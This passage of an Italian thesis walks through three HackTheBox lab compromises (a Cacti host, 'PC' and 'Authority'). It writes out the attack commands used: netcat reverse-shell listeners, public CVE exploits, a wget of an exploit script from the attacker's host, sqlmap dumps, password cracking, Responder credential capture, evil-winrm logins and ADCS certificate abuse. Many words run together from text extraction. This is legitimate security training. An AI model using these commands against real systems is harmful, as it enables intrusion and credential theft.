https://github.com/FredBrave/CVE-2022-46169-CACTI-1.2.22
https://github.com/FredBrave/CVE-2022-46169-CACTI-1.2.22
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connettersiadessa,comesipuòvederenelleFigure3.3e3.4.Perpotermettereinascoltola
porta443utilizziamoilcomandonc -nvlp 443;analizziamoiparametriutilizzati:

•nc:èilcomandoutilizzatoperNetcat,unostrumentoarigadicomando,responsabile
dellascritturaedellaletturadeiileinreteutilizzandoiprotocolliTCPoUDP.

•-n:indicaaNetcatdinoneseguirericercheDNSsugliindirizziIP,ilchepuòvelociz-
zareleconnessioni.

•-v:permettediottenereoutputpiùdettagliati.

•-l:metteNetcatinmodalitàdiascolto,doveattendeconnessioniiningresso.

•-p 443:speciicailnumerodiporta,443inquestocaso,sucui Netcatdovrebbe
ascoltareleconnessioniiningresso.

Figura3.3:Clonazionedell’exploitdallapaginaGithub

Figura3.4:Impostazionedellaporta443

Successivamente,perilBruteForcing,utilizziamolostrumentopython3,chepermettel’e-
secuzionedelileCVE-2022-46169.py,graziealcomandopython3 CVE-2022-46169.py
-u http://10.10.11.211 --LHOST=10.10.14.63 --LPORT=443,comefattoinFi-
gura3.5.

Figura3.5:Bruteforcingdellamacchina

Inparticolare:

•-uèutileperspeciicarel’URLdidestinazionesucuiverràeseguital’azionedell’exploit;

•--LHOSTserveperspeciicarel’indirizzoIPdell’hostlocale(dovevieneeseguitolo
scriptol’exploit)cheverràutilizzatocomepartedell’operazione;

•--LPORTènecessarioperspeciicareilnumerodiportalocalesucuiverràascoltata
unaconnessioneounacomunicazionedapartedelloscriptodell’exploit.
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Esaminandocosaèsuccessosullaportainascolto(Figura3.6),notiamocheiltuttoè
andatoabuonineedabbiamoottenutounaBackShell.

Figura3.6:OttenimentodellaBackShell

Terminadunque,inquestomomento,lafasediVulnerabilityAnalysis.

3.3 Exploitation

EntriamooranellafasediExploitation,unadellefasicrucialidelnostrotest,dovecerchia-
modisfruttarelevulnerabilitàidentiicatenellafaseprecedenteperottenerel’accessonon
autorizzatoalsistemaoallerisorsetarget.

Tramiteilcomandols,graziealqualepossiamoelencareiileeledirectorypresentiin
unadeterminatadirectory,tentiamoditrovarequalcosadiinteressante,senzasuccesso.

Figura3.7:Esecuzionecomandols

Successivamente,decidiamodiprovareadeseguireilcomandols -la /,utileper
elencareiileeledirectorynellaradicedelsistemadiile;questavoltairisultatisonoben
diversiinquantonotiamolapresenzadiunilechepotrebbeservirci:entrypoint.sh.

Quindi,procediamoconl’analizzarecosaèpresentenelile(Figura3.9),utilizzandoil
comandocatpervisualizzareilcontenutodiunile.

All’internodelile,troviamousernameepasswordperundatabase MySQLcheinalmen-
tecipermetteràdiottenereusernameepasswordperCacti.
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Figura3.8:Esecuzionecomandols -la /

Figura3.9:Contenutodelileentrypoint.sh

Eseguendoilcomandomysql -host=db -user=root -password = root cacti
-e “show tables”,siamoingradodivederetutteletabellepresentiall’internodeldataba-
se.

Figura3.10:Tabelleprensentideldatabase MySQL
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Figura3.11:Contenutodellatabellauser_auth

Unatabella,inparticolare,catturalanostraattenzione,ovverouser_authchepoten-
zialmentecontieneusernameepasswordperCacti(Figura3.11).Tramiteun’ulteriorequery,
ovveroSHOW * FROM user_auth,mostriamoilcontenutodellatabellaprecedentemente
citata.

Notiamosubitounutentediusername"marcus"epasswordcriptatasecondol’algor-
timoBlowish.Ilprossimostepèquellodidecriptarelapasswordeperfareciòutiliz-
ziamolostrumentojohn,JohnTheRipper(ottenutotramitelapaginaGithubhttps:
//github.com/openwall/john.git),chepermettediindividuarepassworddebolifaci-
lidadecriptareodaindovinaretramitel’utilizzodiunawordlist,rockyou.txtnelnostro
caso,contenenteunaraccoltaenormedipassword.Utilizziamojohnsuunilechiamato
marcus.hash,creatoinprecedenza,contenentelapasswordcriptatadimarcus.Ilrisultato
èmostratoinFigura3.12

Figura3.12:Risultatodell’esecuzionedellostrumentojohn

Grazieaquestopassaggiotroviamoquindilecredenzialiperl’accessoaCacti,ovvero:

•username=marcus

•password=funkymonkey

Effettuiamoorailloginallamacchinaremotacomemarcus(Figura3.13ereperiamola
userlagdalileuser.txt,riquadratadirossoinFigura3.14.

Figura3.13:Loginallamacchinaremota

Figura3.14:Ottenimentodellauserlag

https://github.com/openwall/john.git
https://github.com/openwall/john.git
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3.4 Post-Exploitation

Unavoltaottenutalauserlag,terminalafasediExploitationedinizialafaseinaledel
test,ovverolafasediPost-Exploitation.DurantequestafaseavvienelacosiddettaPrivilege
escalation;dopocheiltesterhaavutosuccessonell’ottenerel’accessononautorizzatoadun
sistemaoadunarete,eglicercadiottenereaccessoamministrativoodirootadunsistemao
adunarisorsa.

Perpoterarrivareadeterminarelarootlag,ilprossimopassaggioèquellodieffettuare
uncontrollodellaversionedelDocker(Figura3.15)percapireseèvulnerabileaqualche
exploit,cosachesirivelapositiva.

Figura3.15:VersionedelDocker

Perciò,unavoltadeterminatol’exploittramiteunaricercaonline,loscarichiamosulla
macchinadimarcus(Figura3.16).L’exploitd’interessesichiamaUncleJ4ckedèreperibile
all’indirizzoGitHubhttps://github.com/UncleJ4ck/CVE-2021-41091.git.

Figura3.16:Clonazionedell’exploitedavvioserverHTTP

Inoltre,comesinotainFigura3.16,vieneutilizzatoilcomandopython3 -m http.server
80,utileperavviareunsempliceserverHTTPinPython3,cheserveatrasferireiledalla
directorycorrentesullaporta80,graziealqualeèpossibilecondividererapidamenteilein
locale.

Infatti,grazieatalecomando,siamoingradoditrasferiresenzaproblemiilileexp.sh
tramiteilcomandowget http://10.10.14.63/exp.sh,dovel’indirizzoIPèchiara-
menteriferitoallamacchinalocale,allamacchinadimarcus.Successivamente,tramitel’ul-
teriorecomandochmod +x exp.sh,rendiamoeseguibileilileexp.sheloeseguiamodi
conseguenza.

Notiamoche,nellasezioneriquadratadirossoinFigura3.17,civengonofornitedel-
leistruzioni,lequalicidiconocheperutilizzarelaShellcidobbiamo muoverealpath
/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/mergede
poieseguireilcomando./bin/bash -p.

https://github.com/UncleJ4ck/CVE-2021-41091.git
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Figura3.17:Esecuzionedelileexp.sh

Inine,unavoltafattociò,saremoingradoditrovarelarootlagcontenutanelile
root.txt,riquadratadirossoinFigura3.18.

Figura3.18:Ottenimentodellarootlag



CAPITOLO 4

Una seconda esperienza di Red Team

In questo capitolo, come avviene anche per i Capitoli 3 e 5, viene eseguita un’esperienza di Red Team su
macchina reale. Anche in questo test sono descritti la metodologia ed i vari strumenti utili all’ottenimento
dell’accesso al sistema User e sistema Root. La macchina reale attaccata, descritta nel presente capitolo, fa
parte di HackTheBox, un laboratorio online dove possono essere testate e migliorate le proprie conoscenze
riguardo il campo della cybersecurity, ed è chiamata "PC". Non occorre alcun tipo di abbonamento in quanto
essa è in stato di "active", essa è analizzata in uno scenario di sistema operativo Linux, come la macchina del
Capitolo 3.

4.1 Information Gathering

Analogamente a quanto fatto per la macchina precedente, il primo passo è la connessione
alla VPN di HackTheBox. Quindi, come già descritto alla Sezione 3.1, una volta scaricato il
file .ovpn, ci rechiamo su terminale, nella directory dove è stato salvato il file, e possiamo
collegarci alla VPN tramite il comando sudo openvpn nome_file.ovpn.

Successivamente, creiamo una cartella specifica sul desktop di Kali Linux, relativa alla
macchina target, in modo che tutti gli strumenti e file utilizzati saranno contenuti all’interno
di tale cartella; dunque, nel nostro caso, creiamo una cartella chiamata "PC" e tutto ciò che uti-
lizzeremo verrà reindirizzato alla directory HackTheBox/PC. Terminata la connessione alla
VPN, accendiamo la macchina su HackTheBox e ciò che notiamo è la comparsa dell’indirizzo
IP (10.10.11.214) relativo alla macchina remota PC. Inizia ora la vera e propria fase di
Information Gathering, ovvero la fase di raccolta di informazioni utili ad un attacco. Tramite lo
strumento nmap eseguiamo il cosiddetto port-scanning (Figura 4.1), mirato all’individuazione
di porte aperte su un computer bersaglio. In particolare il comando utilizzato è sudo nmap
-p- -sC -sV 10.10.11.214; i parametri utilizzati sono:

• sudo; sta per "super usero do" e permette di eseguire i comandi come amministratore;

• -p-; specifica che si desidera eseguire una scansione su tutte le 65.536 porte TCP
(Transmission Control Protocol);

• -sC; è utilizzato per lo script di default sul target, che fornisce informazioni aggiun-
tive su quest’ultimo, rivela vulnerabilità e può eseguire alcune azioni automatiche di
riconoscimento e analisi;

• -sV; sonda le porte aperte e determina le informazioni su servizio/versione;

47
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•10.10.11.214;rappresenta,comedettoinprecedenza,l’indirizzoIPdellamacchina
target.

Figura4.1:Risultatodellascansioneeffettuatatramitelostrumentonmap

Dallascansionenotiamodueporteaperte,la22ela50051,rispettivamentelegateal
serviziossheunknown.Termina,dunque,lafasediInformationGatheringediniziaquelladi
VulnerabilityAnalysis.

4.2 VulerabilityAnalysis

Sappiamochequestafaseèinalizzataadidentiicareeclassiicareirischielevulnerabilità.
Laprimacosadafareènecessariamentecapireperchecosasiausatalaporta50051.Dopo
unaricercasulBrowser(https://xrpl.org/configure-grpc.html)notiamocheessa
èlaportadidefaultperilcanalegRPC,unmodernosistemadiremoteprocedurecallche,
grazieatecnichediprocessoinnovative,rendepossibileunacomunicazioneparticolarmente
eficienteall’internodellearchitettureclient-serverdistribuite.

Possiamo,dunque,accederealserverutilizzandounospeciicotoolchiamatogRPC
UI,interfacciautentegraica(UI)chepuòessereutilizzataperesaminareeinteragirecon,
appunto,servizigRPC.Pereffettuaretaleconnessioneutilizziamoilcomandodaterminale
grpcui -plaintext 10.10.11.214:50051,dove:

•-plaintextspeciicadiutilizzarelamodalità"plaintext"perlaconnessionegRPC,in
questomodolecomunicazioninonsonocrittografate;

•10.10.11.214èl’indirizzoIPdellamacchinabersaglio;

•50051èlaportadicuisiparlavaprecedentemente.

Figura4.2:UtilizzodellostrumentogRPCUI

Unavoltaeseguitoilcomando,siapriràlapagina WebpresenteinFigura4.3.
Primadicreareunnuovoaccountconilqualepossiamoproseguire,sipuòprovare

adaccedereconalcunedellecoppieusername-passwordpiùcomuni,come,peresempio,
root-password,administrator-administrator,admin-admin,etc.edeffettivamentesembra
cheadmin-adminsiaunacombinazionecorretta.Effettuandoillogintramitetalicredenziali

https://xrpl.org/configure-grpc.html
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Figura4.3:gRPC WebUI

Figura4.4:Idetokenrelativiall’accountdiusername"admin"epassword"admin"

riusciamoadottenereidetoken(Figura4.4),iqualisarannofondamentaliperreperirele
informazionirelativeataleaccount.

Tramiteil metodogetInfo(Figura4.5),dovenelcampotokeninseriremoilvalore
precedentementetrovato,elostessoperilcampoid,procediamoconiltrovarealcuni
informazioni,grazieallequalipossiamocontinuareconlanostraesperienzadiRedTeaming.

NotandolapossibilitàchesiapresenteunavulnerabilitàditipoSQLInjectionsulparame-
troid,cispostiamosuBurpSuite,toolutileperidentiicareerisolverevulnerabilitàefalledi
sicurezzanelleapplicazioniweb.Ledueprincipalifunzionalitàchepossiamosfruttareper
raggiungereilnostroscoposono:

•Proxy Web:consentedimodiicare“alvolo”idatichepassiamoalserverolarisposta
delserverversoilnostrobrowser.

•Repeater:utileperl’exploitingmanualedellevulnerabilità.Nonfaaltrocheprendereuna
richiestaesistente,comprensivadituttigliheader,eripeterlaasecondadeiparametri
cheandremoamodiicare.

Clicchiamo,dunque,sulpulsante"Invoke"presenteinFigura4.5ecatturiamolarichiesta
suBurpSuite(Figura4.6).
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Figura4.5:Metodo getInfo

Figura4.6:RisultatoottenutosuBurpSuite

PerildiscorsofattoprecedentementeriguardolapossibilitàdellapresenzadiunaSQL
Injectionsulparametroid,inviamoilrisultatoottenutoalRepeater.
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Figura4.7:RequesteResponsedelRepeater

Procediamoconil modiicareilvaloredell’idcome“831*”,dove*èuninjection mar-
kercheSQLMaputilizzaperrilevarelapresenzadiunavulnerabilitàdiSQLinjection,e,
successivamente,utilizziamoiltoolSQLmapprecedentementecitatopereffettuareunari-
chiestaditipoPOSTusandolarichiestadell’immagineprecedente(salvatainuniledi
nomeprova.req)tramiteilcomandosqlmap -r prova.req --dump.Analizziamoi
parametridelcomando:

•-r prova.req;speciicailpercorsodelileprova.req,checontienelarichiesta
HTTPdaanalizzareesfruttareperlapossibileSQLInjection.

•--dump;indicaaSQLMapdieseguireun’operazionedi"dump",ovvero,selaSQL
InjectionèriuscitaeSQLMapèriuscitoaottenerel’accessoaldatabase,questaopzione
fainmodocheSQLMapscarichiidatidaldatabaseelimostrisulloschermo(Figura
4.9).

Figura4.8:Comandosqlmap -r prova.req --dump
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Figura4.9:Ottenimentodellousernameedellapasswordpresentineldatabase

Abbiamoinalmenteottenutousernameepassworddiunouser;terminadunquelafasedi
VulnerabilityAnalysisedinizialafasecrucialediExploitation.

4.3 Exploitation

Lecredenzialidellousercheabbiamocarpitosono:

•username:sau

•password:HereIsYourPassWord1431

Grazieaquantotrovato,possiamoeffettuareilloginallamacchinaremotacomesaue
possiamo,dunque,reperirelauserlagdalileuser.txt,riquadratadirossoinFigura4.11.

Figura4.10:Accessoallamacchinaremotacomesau

Figura4.11:Ottenimentodellauserlag

Nonciresta,quindi,cheottenerelarootlagnell’ultimafaserimanente,laPost-Exploitation.
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4.4 Post-Exploitation

Procediamoconl’analisiditutteleconnessionidireteattive,leporteinascoltoeirelativi
processiassociatisuisistemiUnix-liketramiteiltoolnetstat.Perfareciòsfruttiamoil
comandonetstat -ntlp,dove:

•-n;indicaanetstatdimostraregliindirizziIPedinumeridiportainformatonumerico
anzichétentarelarisoluzioneinversadegliindirizziIPinnomidihost.

•-t;speciicadivisualizzaresololeconnessioniTCP.

•-l;indicadivisualizzaresololeporteinascolto.

•-p;permettedimostrareanchel’IDdelprocessoedilnomedelprogrammaassociatoa
ogniconnessioneoportainascolto.

IlrisultatodelcomandoèvisibileinFigura4.12.

Figura4.12:Risultatoottenutotramitelostrumentonetstat

Aquestopunto,persceglierelaportadastudiare,notiamocheleporte50051e22sonole
dueportederivantidalrisultatodell’enumeration,laporta53èunaportastandarde,quindi,
lasceltaricadesulla8000osulla9666.Tuttavia,poichéle“highports”(oportealte)tendono
adesseremenoutilizzate,decidiamodistudiarelaporta8000.

Tramiteilcomandossh -L 8888:127.0.0.1:8000 sau@10.10.11.214creiamo
untunnelSSHlocaleutilizzandoilportforwarding;inparticolare,creiamountunneltrala
porta8888dellamacchinalocaleelaporta8000delserverremotoall’indirizzoIP127.0.0.1
(Figura4.13).Neldettaglio:

•-L;indicailportforwardinglocale.

•8888;èilnumerodiportalocaledacuiiltunnelsaràinascolto.

•127.0.0.1:8000;èl’indirizzoIPedilnumerodiportadelserverremotoallaqualeil
traficoverràinstradatotramiteiltunnel.

•sau@10.10.11.214;sonol’utenteel’indirizzoIPdelserverremotoacuidesideriamo
connettercitramiteSSH.

Figura4.13:Risultatodelcomandossh -L 8888:127.0.0.1:8000 sau@10.10.11.214
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Aquestopunto,visitandol’indirizzo127.0.0.1:8888sulbrowser,siapriràlapagina
inFigura4.14.

Figura4.14:Pagina WebpyLoad

Quindi,veriichiamolaversionedipyLoadconilcomandopyload -versionedessa
risultaesserela0.5.0.Perciò,nuovamente,cerchiamosulBrowserun’eventualevulnerabili-
tydiquestaversioneelatroviamosullapaginaGitHubhttps://github.com/bAuh0lz/
CVE-2023-0297_Pre-auth_RCE_in_pyLoad.git.Lavulnerabilitàcidicechel’exploit
puòessereeffettuatotramitel’esecuzionedelcodicepresenteinFigura4.15.

Figura4.15:Codiceperl’exploitdellaVersione0.5.0dipyLoad

Ilcodicevaleggermenteritoccato;pereseguirlocorrettamente,ènecessarial’esistenzadi
unileeseguibileilcuinomepuòessereassegnatoapiacere(revshell.sh,nelnostrocaso)
contenentelarigadicodicepresenteinFigura4.16.

Figura4.16:Codicecontenutonelilerevshell.sh

Perrenderetaleileeseguibile,utilizziamoilcomandochmod +x revshell.sh,come
giàfattonellaSezione3.4.Inoltre,comeèfacilenotaredalcodiceprecedentementecitato,
èopportuno metterelaporta1337inascoltotramiteilcomandonc -nvlp 1337,dovei
parametriutilizzatisonoglistessidescrittiperiltestprecedenteallaSezione3.2.

https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad.git
https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad.git
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GrazieaquantointrodottoèpossibilemodiicareilcodicesuddettocomeinFigura4.17;
ilcodice,unavoltaeseguito,permettediguadagnarel’accessoallashellcomeroot;graziea
ciòpossiamoreperirelarootlagcontenutaall’internodelileroot.txt.

Figura4.17:Codicemodiicato

LarootlagèriquadratainrossoinFigura4.19.

Figura4.18:Ottenimentodell’accessocomeroot

Figura4.19:Ottenimentodellarootlag



CAPITOLO 5

Una terza esperienza di Red Team

In questo capitolo, come avviene anche per i capitoli 3 e 4, viene eseguita un’esperienza di Red Team su
macchina reale. Anche in quest’ultimo test sono descritte la metodologia ed i vari strumenti utili all’otteni-
mento dell’accesso al sistema User e al sistema Root. La macchina reale attaccata, descritta nel capitolo, fa
parte di HackTheBox, un laboratorio online dove possono essere testate e migliorate le proprie conoscenze
riguardo il campo della cybersecurity, ed è chiamata "Authority". Non occorre alcun tipo di abbonamento,
in quanto essa è in stato di "active" e, a differenza delle macchine attaccate nei due capitoli precedenti, è
analizzata in uno scenario di sistema operativo Windows.

5.1 Information Gathering

Anche per questa macchina, come fatto per le altre due, il primo passo è la connessione
alla VPN di HackTheBox. Sappiamo che, una volta scaricato il file .ovpn, ci dobbiamo recare
su terminale, nella directory dove è stato salvato il file, e possiamo collegarci alla VPN tramite
il comando sudo openvpn nome_file.ovpn.

Successivamente, creiamo una cartella specifica sul desktop di Kali Linux, relativa alla
macchina target, in modo che tutti gli strumenti e file utilizzati saranno contenuti all’interno
di tale cartella; dunque, nel nostro caso, creiamo una cartella chiamata "Authority" e tutto
ciò che utilizzeremo verrà reindirizzato alla directory HackTheBox/Authority. Terminata
la connessione alla VPN, accendiamo la macchina su HackTheBox e ciò che notiamo è la
comparsa dell’indirizzo IP (10.10.11.222) relativo alla macchina remota Authority. Inizia
ora la vera e propria fase di Information Gathering, ovvero la fase di raccolta di informazioni
utili ad un attacco. Tramite lo strumento nmap, eseguiamo il cosiddetto port-scanning, mirato
all’individuazione di porte aperte su un computer bersaglio. In particolare il comando
utilizzato è nmap -p- -sC -sV 10.10.11.222; i parametri utilizzati sono:

• -p-; il quale specifica che si desidera eseguire una scansione su tutte le 65.536 porte
TCP (Transmission Control Protocol);

• -sC; utilizzato per lo script di default sul target, che fornisce informazioni aggiunti-
ve su quest’ultimo, rivela vulnerabilità e può eseguire alcune azioni automatiche di
riconoscimento e analisi;

• -sV che sonda le porte aperte e determina le informazioni su servizio/versione;

• 10.10.11.222, che rappresenta, come detto in precedenza, l’indirizzo IP della mac-
china target.
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IrisultatidellascansionesonoriportatiinFigura5.1,5.2e5.3.

Figura5.1:Primapartedellascansioneeffettuatatramitelostrumentonmap

Figura5.2:Secondapartedellascansioneeffettuatatramitelostrumentonmap

Figura5.3:Terzapartedellascansioneeffettuatatramitelostrumentonmap

Dallascansionenotiamounagrandemolediporteaperte,perciòutilizziamolostrumento
smbmap,unostrumentoutilepereseguirelascansioneel’enumerazionedellerisorsecondivi-
sesuunareteutilizzandoilprotocolloServer MessageBlock(SMB),comelereti Windows.
Inparticolare,ilcomandoutilizzatoèsmbmap -H 10.10.11.222 -u “ “,dove:

•-H 10.10.11.222:indicacheiltoolstacercandodicomunicareconilsistemailcui
indirizzoIPè10.10.11.222.

•-u " ":indicachesistacercandodiautenticarsicomeunutentevuoto;infatti,non
vienefornitoalcunnomeutenteall’internodellevirgolette.
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Notiamo,dalrisultatopresenteinFigura5.4,cheesisteunasharedresource,Development,
conpermessoREADONLY,perciòciconcentriamosuquantotrovato.

Figura5.4:Risultatodellascansionetramitelostrumentosmbmap

Eseguiamo,ora,ilcomandosmbclient -N //10.10.11.222/Development(Figu-
ra5.5)graziealtoolsmbclientcheconsentediaccedereeinteragireconrisorsecondivise
suunareteutilizzandoilprotocolloSMB/CIFS(CommonInternetFileSystem).Percapire
meglioilcomando,analizziamoiparametri:

•-Nspeciicachenonverràchiestaalcunapasswordall’utente.

•//10.10.11.222/Developmentrappresental’indirizzodellarisorsacondivisaacui
sistacercandodiconnettersi.

Figura5.5:Primapartedell’utilizzodellostrumentosmbclient

ComesinotainFigura5.6,spostandociattraversoledirectory,troviamounilein-
teressante,dinomemain.ymlalpath\\10.10.11.222\Development\Automation\
Ansible\PWM\defaults\main.yml.

All’internodiquestoile,troviamodellecredenzialicrittografatenelformatodiconigu-
razionediAnsible(Figura5.7).
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Figura5.6:Secondapartedell’utilizzodellostrumentosmbclient

Figura5.7:Credenzialicrittografate

Successivamente,copiamolaprimapasswordcrittografataelainseriamoinunile
chiamatovault1.ymle,perottenerelecredenzialidecriptate,utilizziamountoolincluso
inAnsible,ovveroansible2john.py(Figura5.8),graziealqualesipuògenerareunhash
compatibilecon"JohntheRipper",toolutilizzatoanchenelCapitolo3.

Figura5.8:Utilizzodiansible2john.py
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Figura5.9:Ottenimentodellapassworddecriptata

Quindi,siamoriuscitiatrovarelavaultpassword,cherisultaessere“!@#$%̂&",comesi
puòvedereinFigura5.9.Grazieallavaultpasswordappenatrovata,possiamoinalmente
decriptarelepassworddalvault.Creiamo,comefattoinprecedenza,altridueiledalnome
vault2.ymlevault3.ymlcontenentilealtreduepasswordcrittografate.

Aquestopuntopossiamotrovarelepassworddecriptategraziealcomandocat vault-
x.yml | ansible-vault decrypt,dovelaxvasostituitaconilnumerorelativoalile
.ymld’interesseelapartedelcomandoansible-vault decryptpermettedidecifrare
ilcontenutodelilevault.yml(Figura5.10)erenderloleggibile.

Figura5.10:Decriptazionedellepassword

TerminadunquelafasediInformationGatheringtrovandoleduepassword,chesono
“pWm_@dm!N_!23“e“svc_pwm”.

5.2 VulnerabilityAnalysis

All’iniziodellafasediVulnerabilityAnalysis,inquestaesperienzadiRedTeam,esploria-
molevarieporteindividuatetramitelostrumentonmapenotiamoche,perquantoriguarda
laporta8443,sesulcerchiamoBrowser,cidirigiamoall’indirizzo10.10.11.222:8443
eveniamoautomaticamentereindirizzatiall’indirizzohttps://10.10.11.222:8443/

https://10.10.11.222:8443/pwm/private/login
https://10.10.11.222:8443/pwm/private/login
https://10.10.11.222:8443/pwm/private/login
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pwm/private/login(Figura5.11),dovepwmstaper"Password Management"edèun’appli-
cazioneopen-sourceprogettatapergestireinmodosicuroecentralizzatolepasswordele
credenzialiall’internodiun’organizzazione.

Figura5.11:Paginawebrelativaall’indirizzo10.10.11.222:8443

Perl’accessopossiamoutilizzarelecredenzialiottenutedalvault,ma,quandoproviamo
acollegarcialserverLDAPS(LightweightDirectoryAccessProtocol),viene mostratoil
messaggiodierroreinFigura5.12.

Figura5.12:Erroredicollegamentoalserver

Quindi,navighiamoperlapaginawebincercadiunqualcosadovepoterutilizzarele
passwordprecedentementetrovate.Fortunatamente,cliccandosu“Coniguration Manager”
troviamounpannellodovepoteraccaderetramiteunapassworde,unavoltaeffettuato
illogingrazieallacredenzialicarpiteallaSezione5.2,continuaadapparireunerroredi
connessionealserverLDAP(Figura5.13).

Continuandoanavigarenellapaginaciaccorgiamocheèpossibilescaricareililedi
conigurazionePWM.Inparticolare,ciaccorgiamodipoterutilizzareiltoolResponderper
emulareunserverLDAPeosservarecheinformazioniciinvia,sperandodiottenereanche
unapassword.Unavoltascaricatoeapertoililediconigurazione(Figura5.14),procediamo
colmodiicarel’indirizzoLDAPsecondoinostribisogniall’internodeltag<setting>dove
sonospeciicatiiparametridiconigurazionedellaconnessioneLDAP(Figura5.15).

https://10.10.11.222:8443/pwm/private/login
https://10.10.11.222:8443/pwm/private/login
https://10.10.11.222:8443/pwm/private/login
https://10.10.11.222:8443/pwm/private/login


§5.2− VulnerabilityAnalysis 62

Figura5.13:Ulterioreerroredicollegamentoalserver

Figura5.14:Tag<setting>originale

Figura5.15:Tag<setting>modiicato

OraavviamoilRespondereciponiamoinascoltotramiteilcomandosudo responder
-I tun0(Figura5.16),dove:

•sudostapersuperuserodo,ovveroconsentedieseguirecomandiconprivilegiammini-
strativi.

•responderindica,naturalmente,l’utilizzodellostrumentoResponderprecedentemen-
tecitato.
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•-I tun0speciical’interfacciadiretesucuiilResponderdovràoperare;l’interfaccia
diretetun0èassociataatunneldireteTUNutilizzataperiltunnelingdipacchettiIP
attraversolarete.

Figura5.16:UtilizzodellostrumentoResponder

Successivamente,nellapaginaweb,inFigura5.13,effettuiamol’uploaddelilePwmConfi-
guration.xmlepossiamoosservareirisultatirestituitidalResponderinFigura5.17.

Figura5.17:RisultatiottenutidalResponder

Finalmente,abbiamotrovatolapassword,riquadratadirossoinFigura5.17,utileper
autenticarciviaWinRM coniltoolEvil-WinRM,ilqualeconsenteagliamministratoridi
sistemaoagliattaccanti,diaccedereedinteragireconsistemi Windowstramiteunashell
remota.Quindi,terminalafasediVulnerabilityAnalysisesientranelvivodeltestconlafase
diExploitation.

5.3 Exploitation

IlprimopassodellafasediExploiationèeffettuarel’accessoallashellremotagraziealtool
Evil-WinRMprecedentementedescritto(Figura5.18).Perfareciò,utilizziamoilcomando
evil-winrm -i 10.10.11.222 -u svc_ldap -p lDaP_1n_th3_cle4r!,dove:

•-i 10.10.11.222speciical’indirizzoIPdelsistema Windowsacuisidesidera
connettersi.
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•-u svc_ldapindicailnomeutenteconcuisivuoleeffettuareilloginremoto.

•-p lDaP_1n_th3_cle4r!speciicalapasswordassociataall’utentefornito.

Figura5.18:AccessoallashellremotaviaEvil-WinRM

Successivamente,tramiteilcomandols(Figura5.19),analizziamotutteledirectory
presenti,allaricercadelileuser.txtcontenentelauserlag,ilqualesitrovaall’internodel
pathC:\Users\svc\_ldap\Desktop.

Figura5.19:Esecuzionedelcomandols

LauserlagèriquadratadirossoinFigura5.20.

Figura5.20:Ottenimentodellauserlag

Unavoltaottenutalauserlagterminalafasedi Exploitationedinizial’ultimafase
dell’esperienzadiRedTeam,laPost-Exploitation,doveavràluogoilcosiddettofenomeno
diPrivilegeEscalation,nelqualesitentadiottenerel’accessoallamacchinaconiprivilegidi
amministratore.
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5.4 Post-Exploitation

Inquestafase,tornandoindietroalpathC:\edanalizzandonuovamenteledirectory
presentiinFigura5.19,notiamolapresenzadiunacartelladinomeCerts,laqualeci
suggeriscechepotremmotrovaredeicertiicativulnerabilitramitel’usodeltoolCertify,
strumentoutileperelencareesfruttareleconigurazionierrateneiservizidicertiicazionedi
ActiveDirectory(ADCS).

Quindi,trasferiamoilileCertify.exeallamacchina Windowsremotatramiteilcoman-
doupload /home/kali/Desktop/HackTheBox/Authority/Certify.exe,comesi
puòvedereinFigura5.21.

Figura5.21:TraserimentodelileCertify.exeallamacchinaremota

Cambiamoilnomedelileincertify.exeeloeseguiamoallaricercadieventuali
vulnerabilitàtramiteilcomando./certify.exe find /vulnerable,utilepereseguire
unascansioneall’internodiunsistemaodiunarete,alinediindividuarevulnerabilitàdi
sicurezza.Infatti,ilparametro/vulnerableèutilizzatoperspeciicarecheilcomandodeve
concentrarsisullaricercadivulnerabilità.

Figura5.22:Risultatodell’esecuzionedelilecertify.exe

ComesinotadaciòcheèriquadratodirossoinFigura5.22,abbiamotrovatountemplate
vulnerabilechiamatoCorpVPN.

Perciò,aggiungiamounnuovomachineaccountneldominioauthority.htbutilizzando
lecredenzialidell’utentesvc_ldap.Inquestocaso,useremolostrumentoimpacket-addcom-
puterchepermettedieseguirevarieattivitàdimanipolazioneeinterazioneconretiesistemi
Windows(Figura5.23).Inparticolare:

•authority.htb/svc_ldap:’lDaP_1n_th3_cle4r!’speciicaildominioelecre-
denzialidautilizzareperaggiungereilcomputer.
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authority.htbèilnomedeldominio,svc_ldapèilnomedell’utenteelDaP_1n_th3_cle4r!
rappresentalapasswordassociataall’utente.

•-computer-name STX$indicailnomecheverràassegnatoalnuovoaccountcompu-
terchesistaaggiungendo,STX$inquestocaso.

•-computer-pass Password123!speciicalapassworddaassegnarealnuovoac-
countcomputer,Password123!inquestocaso.

Figura5.23:Esecuzionedellostrumentoimpacket-addcomputer

Aquestopunto,utilizziamounulterioretool,Certipy,conilqualepossiamogenerare
unarichiestadicertiicatoutilizzandol’accountSTX$conpasswordPassword123!etem-
plateCorpVPN;questocipermetteràdiottenereprivilegielevati.Analizzandoilcomando
utilizzatoinFigura5.24:

•certipy reqèilcomandoprincipalepergenerareunarichiestadicertiicatoutiliz-
zandoCertipy.

•-u ’STX$’speciicachel’accountSTX$verràutilizzatoperlarichiestadicertiicato.

•-p ’Password123!’speciicalapasswordassociataall’account.

•-ca AUTHORITY-CAspeciical’autoritàdicertiicazione(CA)connome"AUTHORITY-
CA".

•-target authority.htbindicaildominioacuiverràinviatalarichiestadicertii-
cato,nelcasospeciicoildominioauthority.htb.

•-template CorpVPNspeciicailtemplate,ovvero"CorpVPN".

•-upn administrator@authority.htbindicailnomeutenteprincipale(UPN)
dell’amministratoredeldominio.

•-dns authority.authority.htbspeciicailnomedidominiocompleto(FQDN)
dell’autoritàcertiicante.

•-dc-ip 10.10.11.222speciical’indirizzoIPdelcontrollerdidominio(DC)utiliz-
zatoperlacomunicazione.
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Figura5.24:EsecuzionedellostrumentoCertipy

Successivamente,generiamoduenuovicertiicati,unosenzaincluderelachiaveprivatae
unaltrosenzaincludereilcertiicato(Figura5.25).

Figura5.25:Generazionedeiduecertiicati

Nelcasodelprimocomando:

•certipy certèilcomandoprincipalepergenerareuncertiicatoutilizzandol’utility
Certipy.

•-pfx administrator_authority.pfxspeciicaililedicertiicatoinformatoPFX
conilnomeadministrator_authority.pfx.

•-nokeyindicachesivuolegenerareilcertiicatosenzaincluderelachiaveprivata.

•-out user.crtspeciicailnomedeliledioutputcheverràgenerato;inquestocaso,
ililedicertiicatosichiameràuser.crt.

Invece,nelsecondocomando,cambiasoltantoilterzopunto;-nocertindicachesivuole
